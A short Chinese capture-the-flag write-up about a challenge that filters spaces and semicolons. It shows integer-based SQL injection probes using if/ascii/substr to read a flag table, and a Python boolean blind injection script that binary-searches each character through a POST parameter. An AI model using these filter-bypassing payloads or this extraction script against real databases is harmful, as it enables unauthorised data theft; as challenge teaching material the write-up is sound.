这题很多关键词都不给。例如空格、;等。
很明显是整数型的注⼊,因此不需要‘来闭合,输⼊:
id=if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1)
输⼊id=if((ascii(substr((select(flag)from(flag)),1,1))=103),0,1)
因此可以使⽤布尔盲注了。
def getzzq(host):
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
url= host
myobj = {'id': "1^(ascii(substr((select(flag)from(flag)),%d,1))<%d)^1"%(i,mid)}
x = requests.post(url, data = myobj)
if "Hello" in x.text:
high = mid
else:
low = mid+1
#print(res.text)
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("ans:"+ans)
sleep(1)